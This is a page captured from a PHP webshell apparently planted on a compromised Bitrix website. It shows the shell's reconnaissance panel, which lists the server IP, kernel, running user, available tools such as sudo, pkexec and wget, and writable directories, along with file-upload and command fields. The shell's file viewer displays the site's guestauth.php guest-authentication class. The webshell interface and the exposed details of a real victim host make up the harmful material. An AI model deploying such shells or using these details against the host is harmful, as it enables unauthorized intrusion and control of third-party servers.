403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/pull/lib/rest/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/pull/lib/rest/guestauth.php
<?php

namespace Bitrix\Pull\Rest;

class GuestAuth
{
	const AUTH_TYPE = 'pull_guest';

	const METHODS_WITHOUT_AUTH = [
		'server.time',
		'pull.config.get',

	];

	const PULL_UID_PARAM = 'pull_guest_id';

	protected static $authQueryParams = array(
		'pull_guest_id',
	);

	public static function onRestCheckAuth(array $query, $scope, &$res)
	{
		global $USER;
		if($USER->IsAuthorized() || !defined("PULL_USER_ID"))
		{
			return null;
		}

		$authCode = null;
		foreach(static::$authQueryParams as $key)
		{
			if(array_key_exists($key, $query))
			{
				$authCode = $query[$key];
				break;
			}
		}

		if($authCode === null)
		{
			return null;
		}

		if(static::checkQueryMethod(static::METHODS_WITHOUT_AUTH))
		{
			if((int)$authCode === (int)PULL_USER_ID)
			{
				$res = self::getSuccessfulResult();
				return true;
			}
		}

		return null;
	}

	protected static function checkQueryMethod($whiteListMethods)
	{
		if (\CRestServer::instance()->getMethod() == 'batch')
		{
			$result = false;
			foreach (\CRestServer::instance()->getQuery()['cmd'] as $key => $method)
			{
				$method = mb_substr($method, 0, mb_strrpos($method, '?'));
				$result = in_array(mb_strtolower($method), $whiteListMethods);
				if (!$result)
				{
					break;
				}
			}
		}
		else
		{
			$result = in_array(\CRestServer::instance()->getMethod(), $whiteListMethods);
		}

		return $result;
	}

	protected static function getSuccessfulResult()
	{
		return [
			'user_id' => defined("PULL_USER_ID") ? PULL_USER_ID : 0,
			'scope' => implode(',', \CRestUtil::getScopeList()),
			'parameters_clear' => static::$authQueryParams,
			'auth_type' => static::AUTH_TYPE,
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit